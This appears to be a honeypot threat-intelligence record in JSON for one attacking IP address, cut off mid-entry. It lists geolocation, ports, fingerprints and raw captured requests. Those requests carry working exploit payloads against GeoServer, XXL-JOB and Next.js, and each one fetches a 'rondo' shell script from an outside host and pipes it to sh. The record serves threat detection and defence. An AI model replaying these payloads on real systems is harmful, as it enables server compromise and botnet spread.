{"ip":"176.65.132.131","total_events":91,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"40 loader / command-injection payload(s)","confidence":"high","network_type":null,"why":["40 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","This is the same evidence that puts an address in the public exploiter feed, so the feed and this page now agree.","Payload evidence stands on its own: one request that fetches a botnet binary is exploitation, not probing.","Not in any known-scanner range.","Sent 69,812 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"69,812 bytes sent","bytes_sent":69812,"session_seconds":0,"persistent":false}},"first_seen":"2026-08-05T23:15:01","last_seen":"2026-08-16T02:50:16","events_24h":6,"events_7d":59,"geo":{"country_code":"NL","country_name":"The Netherlands","region":"North Holland","city":"Amsterdam","lat":52.3716,"lon":4.8883,"asn":197170,"org":"TechTies Inc."},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[{"sha256":"a49fb5c899cd69337dd9fd4d6808cb25dd27c81e90869ed817f2873c1275a526","family":"","vt_name":"rondo.u.sh","malicious":0,"total":75,"vt_status":"known","delivery":"busybox-wget","url_path":"/UD/act?1","dest_port":7547,"hits":1,"last_seen":"2026-08-06 21:32:27"}],"top_ports":[{"port":3000,"proto":"tcp","label":"Web-alt","count":37},{"port":8088,"proto":"tcp","label":"Hadoop","count":22},{"port":8080,"proto":"tcp","label":"HTTP-alt","count":10},{"port":61616,"proto":"tcp","label":"ActiveMQ","count":4},{"port":3001,"proto":"tcp","label":"","count":4},{"port":80,"proto":"tcp","label":"HTTP","count":3},{"port":7548,"proto":"tcp","label":"","count":3},{"port":5555,"proto":"tcp","label":"","count":3},{"port":3002,"proto":"tcp","label":"","count":2},{"port":9999,"proto":"tcp","label":"","count":2},{"port":7547,"proto":"tcp","label":"TR-069","count":1}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[],"ja4h":["po11cn0600_081627d4e08b","po11nn0600_c33db1b45fc9","po11nn0700_2b0ad527c537","po11nn0700_fd4c1a4afae4","ge11nn0400_81183b25faae"]},"fingerprint_peers":{"po11nn0600_c33db1b45fc9":3,"po11nn0700_2b0ad527c537":5,"po11nn0700_fd4c1a4afae4":1,"ge11nn0400_81183b25faae":6,"po11cn0600_081627d4e08b":1},"user_agents":["Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0"],"timeline":[{"date":"2026-08-05","count":2},{"date":"2026-08-06","count":3},{"date":"2026-08-08","count":27},{"date":"2026-08-09","count":3},{"date":"2026-08-10","count":13},{"date":"2026-08-11","count":2},{"date":"2026-08-12","count":29},{"date":"2026-08-14","count":6},{"date":"2026-08-15","count":5},{"date":"2026-08-16","count":1}],"recent_events":[{"timestamp":"2026-08-16T02:50:16","port":8080,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"close\",\"host\":\"<HONEYPOT>:8080\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub%3Aexample&CQL_FILTER=jsonArrayContains%28%22data%22%2C%20%27%2Fa%27%2C%20%27x%27%27%29%20%3B%20COPY%20%28SELECT%201%29%20TO%20PROGRAM%20%27%27wget%20-qO-%20http%3A%2F%2F194.26.192.87%2Frondo.rxx.sh%7Csh%27%27%20--%20%27%29%20%3D%20true","summary":"","payload_hex":"474554202f67656f7365727665722f6f77733f736572766963653d7766732676657273696f6e3d312e302e3026726571756573743d4765744665617475726526747970654e616d653d76756c6875622533416578616d706c652643514c5f46494c5445523d6a736f6e4172726179436f6e7461696e73253238253232646174612532322532432532302532372532466125323725324325323025323778253237253237253239253230253342253230434f505925323025323853454c45435425323031253239253230544f25323050524f4752414d253230253237253237776765742532302d714f2d253230687474702533412532462532463139342e32362e3139322e3837253246726f6e646f2e7278782e736825374373682532372532372532302d2d2532302532372532392532302533442532307472756520485454502f312e310d0a486f73743a20<HONEYPOT>3a383038300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"2ddfecb5-79d7-4826-a3a0-42c4898818f9","seq":1,"duration_ms":0,"bytes_in":480,"bytes_out":79},{"timestamp":"2026-08-15T07:56:18","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"close\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vMTk0LjI2LjE5Mi44Ny9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzE5NC4yNi4xOTIuODcvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzE5NC4yNi4xOTIuODcvcm9uZG8uYGB6eXQuc2gpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27)","summary":"","payload_hex":"474554202f67656f7365727665722f7766733f736572766963653d5746532676657273696f6e3d322e302e3026726571756573743d47657450726f706572747956616c756526747970654e616d65733d73663a6172636873697465732676616c75655265666572656e63653d65786563286a6176612e6c616e672e52756e74696d652e67657452756e74696d6528292c253237626173682532302d632532302537426563686f2532434b48646e5a5851674c5846504c53426f644852774f6938764d546b304c6a49324c6a45354d6934344e7939796232356b62793567594870356443357a61487838596e567a65574a76654342335a32563049433178547930676148523063446f764c7a45354e4334794e6934784f5449754f446376636d39755a47387559474236655851756332683866474e31636d77674c584d676148523063446f764c7a45354e4334794e6934784f5449754f446376636d39755a47387559474236655851756332677066484e6f2537442537432537426261736536342532432d6425374425374373682532372920485454502f312e310d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"7aed5f4b-b5e6-4645-b3af-a31e76409ced","seq":1,"duration_ms":0,"bytes_in":560,"bytes_out":79},{"timestamp":"2026-08-15T07:52:08","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"close\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vMTk0LjI2LjE5Mi44Ny9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzE5NC4yNi4xOTIuODcvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzE5NC4yNi4xOTIuODcvcm9uZG8uYGB6eXQuc2gpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27)","summary":"","payload_hex":"474554202f67656f7365727665722f7766733f736572766963653d5746532676657273696f6e3d322e302e3026726571756573743d47657450726f706572747956616c756526747970654e616d65733d73663a6172636873697465732676616c75655265666572656e63653d65786563286a6176612e6c616e672e52756e74696d652e67657452756e74696d6528292c253237626173682532302d632532302537426563686f2532434b48646e5a5851674c5846504c53426f644852774f6938764d546b304c6a49324c6a45354d6934344e7939796232356b62793567594870356443357a61487838596e567a65574a76654342335a32563049433178547930676148523063446f764c7a45354e4334794e6934784f5449754f446376636d39755a47387559474236655851756332683866474e31636d77674c584d676148523063446f764c7a45354e4334794e6934784f5449754f446376636d39755a47387559474236655851756332677066484e6f2537442537432537426261736536342532432d6425374425374373682532372920485454502f312e310d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"e784d995-10de-4459-9f5f-19f899943ce1","seq":1,"duration_ms":0,"bytes_in":561,"bytes_out":79},{"timestamp":"2026-08-15T07:41:14","port":80,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"close\",\"host\":\"<HONEYPOT>\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27bash%20-c%20%7Becho%2CKHdnZXQgLXFPLSBodHRwOi8vMTk0LjI2LjE5Mi44Ny9yb25kby5gYHp5dC5zaHx8YnVzeWJveCB3Z2V0IC1xTy0gaHR0cDovLzE5NC4yNi4xOTIuODcvcm9uZG8uYGB6eXQuc2h8fGN1cmwgLXMgaHR0cDovLzE5NC4yNi4xOTIuODcvcm9uZG8uYGB6eXQuc2gpfHNo%7D%7C%7Bbase64%2C-d%7D%7Csh%27)","summary":"","payload_hex":"474554202f67656f7365727665722f7766733f736572766963653d5746532676657273696f6e3d322e302e3026726571756573743d47657450726f706572747956616c756526747970654e616d65733d73663a6172636873697465732676616c75655265666572656e63653d65786563286a6176612e6c616e672e52756e74696d652e67657452756e74696d6528292c253237626173682532302d632532302537426563686f2532434b48646e5a5851674c5846504c53426f644852774f6938764d546b304c6a49324c6a45354d6934344e7939796232356b62793567594870356443357a61487838596e567a65574a76654342335a32563049433178547930676148523063446f764c7a45354e4334794e6934784f5449754f446376636d39755a47387559474236655851756332683866474e31636d77674c584d676148523063446f764c7a45354e4334794e6934784f5449754f446376636d39755a47387559474236655851756332677066484e6f2537442537432537426261736536342532432d6425374425374373682532372920485454502f312e310d0a486f73743a20<HONEYPOT>0d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a202a2f2a0d0a0d0a","method":"GET","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"cec42f45-9a8e-48d3-b50b-c639fd814531","seq":1,"duration_ms":0,"bytes_in":560,"bytes_out":79},{"timestamp":"2026-08-15T06:26:55","port":9999,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"close\",\"content-length\":\"438\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>:9999\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\",\"xxl-job-access-token\":\"default_token\"}","body":"{\"jobId\":1,\"executorHandler\":\"demoJobHandler\",\"executorParams\":\"demoJobHandler\",\"executorBlockStrategy\":\"COVER_EARLY\",\"executorTimeout\":3600,\"logId\":1,\"logDateTime\":1586629003729,\"glueType\":\"GLUE_SHELL\",\"glueSource\":\"(wget -qO- http://194.26.192.87/rondo.``kwm.sh||busybox wget -qO- http://194.26.192.87/rondo.``kwm.sh||curl -s http://194.26.192.87/rondo.``kwm.sh)|sh\",\"glueUpdatetime\":1586629003727,\"broadcastIndex\":0,\"broadcastTotal\":0}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/run","summary":"","payload_hex":"504f5354202f72756e20485454502f312e310d0a486f73743a20<HONEYPOT>3a393939390d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a202a2f2a0d0a58584c2d4a4f422d4143434553532d544f4b454e3a2064656661756c745f746f6b656e0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a203433380d0a0d0a7b226a6f624964223a312c226578656375746f7248616e646c6572223a2264656d6f4a6f6248616e646c6572222c226578656375746f72506172616d73223a2264656d6f4a6f6248616e646c6572222c226578656375746f72426c6f636b5374726174656779223a22434f5645525f4541524c59222c226578656375746f7254696d656f7574223a333630302c226c6f674964223a312c226c6f674461746554696d65223a313538363632393030333732392c22676c756554797065223a22474c55455f5348454c4c222c22676c7565536f75726365223a222877676574202d714f2d20687474703a2f2f3139342e32362e3139322e38372f726f6e646f2e60606b776d2e73687c7c62757379626f782077676574202d714f2d20687474703a2f2f3139342e32362e3139322e38372f726f6e646f2e60606b776d2e73687c7c6375726c202d7320687474703a2f2f3139342e32362e3139322e38372f726f6e646f2e60606b776d2e7368297c7368222c22676c756555706461746574696d65223a313538363632393030333732372c2262726f616463617374496e646578223a302c2262726f616463617374546f74616c223a307d","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"8298ed78-c73e-49fd-a53d-1432b0463c5b","seq":1,"duration_ms":0,"bytes_in":702,"bytes_out":79},{"timestamp":"2026-08-15T06:26:12","port":9999,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"connection\":\"close\",\"content-length\":\"438\",\"content-type\":\"application/json\",\"host\":\"<HONEYPOT>:9999\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\",\"xxl-job-access-token\":\"default_token\"}","body":"{\"jobId\":1,\"executorHandler\":\"demoJobHandler\",\"executorParams\":\"demoJobHandler\",\"executorBlockStrategy\":\"COVER_EARLY\",\"executorTimeout\":3600,\"logId\":1,\"logDateTime\":1586629003729,\"glueType\":\"GLUE_SHELL\",\"glueSource\":\"(wget -qO- http://194.26.192.87/rondo.``kwm.sh||busybox wget -qO- http://194.26.192.87/rondo.``kwm.sh||curl -s http://194.26.192.87/rondo.``kwm.sh)|sh\",\"glueUpdatetime\":1586629003727,\"broadcastIndex\":0,\"broadcastTotal\":0}","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/run","summary":"","payload_hex":"504f5354202f72756e20485454502f312e310d0a486f73743a20<HONEYPOT>3a393939390d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a202a2f2a0d0a58584c2d4a4f422d4143434553532d544f4b454e3a2064656661756c745f746f6b656e0d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a203433380d0a0d0a7b226a6f624964223a312c226578656375746f7248616e646c6572223a2264656d6f4a6f6248616e646c6572222c226578656375746f72506172616d73223a2264656d6f4a6f6248616e646c6572222c226578656375746f72426c6f636b5374726174656779223a22434f5645525f4541524c59222c226578656375746f7254696d656f7574223a333630302c226c6f674964223a312c226c6f674461746554696d65223a313538363632393030333732392c22676c756554797065223a22474c55455f5348454c4c222c22676c7565536f75726365223a222877676574202d714f2d20687474703a2f2f3139342e32362e3139322e38372f726f6e646f2e60606b776d2e73687c7c62757379626f782077676574202d714f2d20687474703a2f2f3139342e32362e3139322e38372f726f6e646f2e60606b776d2e73687c7c6375726c202d7320687474703a2f2f3139342e32362e3139322e38372f726f6e646f2e60606b776d2e7368297c7368222c22676c756555706461746574696d65223a313538363632393030333732372c2262726f616463617374496e646578223a302c2262726f616463617374546f74616c223a307d","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"5a891730-61b4-436d-a85e-bd8b5dedcb45","seq":1,"duration_ms":0,"bytes_in":701,"bytes_out":79},{"timestamp":"2026-08-14T02:21:31","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"694\",\"content-type\":\"multipart/form-data; boundary=0fdf55df9e085737676f582ed4e95a02\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'194.26.192.87', port:80, path:'/rondo.aqu.sh', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--0fdf55df9e085737676f582ed4e95a02--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d4c656e6774683a203639340d0a0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a273139342e32362e3139322e3837272c20706f72743a38302c20706174683a272f726f6e646f2e6171752e7368272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130322d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"f850d4d5-f045-45a7-a9b3-4baa6d5ec719","seq":1,"duration_ms":0,"bytes_in":992,"bytes_out":79},{"timestamp":"2026-08-14T02:20:30","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"694\",\"content-type\":\"multipart/form-data; boundary=0fdf55df9e085737676f582ed4e95a02\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'194.26.192.87', port:80, path:'/rondo.aqu.sh', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--0fdf55df9e085737676f582ed4e95a02--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d4c656e6774683a203639340d0a0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a273139342e32362e3139322e3837272c20706f72743a38302c20706174683a272f726f6e646f2e6171752e7368272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130322d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"aeca242f-b64c-4747-b5a7-ff0eab880d1b","seq":1,"duration_ms":0,"bytes_in":993,"bytes_out":79},{"timestamp":"2026-08-14T02:19:08","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"694\",\"content-type\":\"multipart/form-data; boundary=0fdf55df9e085737676f582ed4e95a02\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'194.26.192.87', port:80, path:'/rondo.aqu.sh', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n[]\r\n--0fdf55df9e085737676f582ed4e95a02--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3135332e3029204765636b6f2f32303130303130312046697265666f782f3135332e300d0a436f6e6e656374696f6e3a20636c6f73650d0a4163636570743a20746578742f782d636f6d706f6e656e740d0a4e6578742d416374696f6e3a20780d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d4c656e6774683a203639340d0a0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a7b227468656e223a2224313a5f5f70726f746f5f5f3a7468656e222c22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a2d312c2276616c7565223a227b5c227468656e5c223a5c222442313333375c227d222c225f726573706f6e7365223a7b225f707265666978223a2270726f636573732e6d61696e4d6f64756c652e7265717569726528276874747027292e72657175657374287b686f73743a273139342e32362e3139322e3837272c20706f72743a38302c20706174683a272f726f6e646f2e6171752e7368272c20686561646572733a7b27557365722d4167656e74273a276e6f6465277d7d2c723d3e722e706970652870726f636573732e6d61696e4d6f64756c652e7265717569726528276368696c645f70726f6365737327292e737061776e28272f62696e2f736827292e737464696e29292e656e6428293b222c225f6368756e6b73223a22245132222c225f666f726d44617461223a7b22676574223a2224313a636f6e7374727563746f723a636f6e7374727563746f72227d7d7d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a22244030220d0a2d2d30666466353564663965303835373337363736663538326564346539356130320d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a5b5d0d0a2d2d30666466353564663965303835373337363736663538326564346539356130322d2d0d0a","method":"POST","user_agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0","ja3":"","session":"b8765a02-edbd-4e34-b497-ad99cb5f0137","seq":1,"duration_ms":0,"bytes_in":992,"bytes_out":79},{"timestamp":"2026-08-14T02:12:31","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"text/x-component\",\"connection\":\"close\",\"content-length\":\"694\",\"content-type\":\"multipart/form-data; boundary=0fdf55df9e085737676f582ed4e95a02\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0\"}","body":"--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"process.mainModule.require('http').request({host:'194.26.192.87', port:80, path:'/rondo.aqu.sh', headers:{'User-Agent':'node'}},r=>r.pipe(process.mainModule.require('child_process').spawn('/bin/sh').stdin)).end();\",\"_chunks\":\"$Q2\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n--0fdf55df9e085737676f582ed4e95a02\r\nContent-Disposition: form-data; 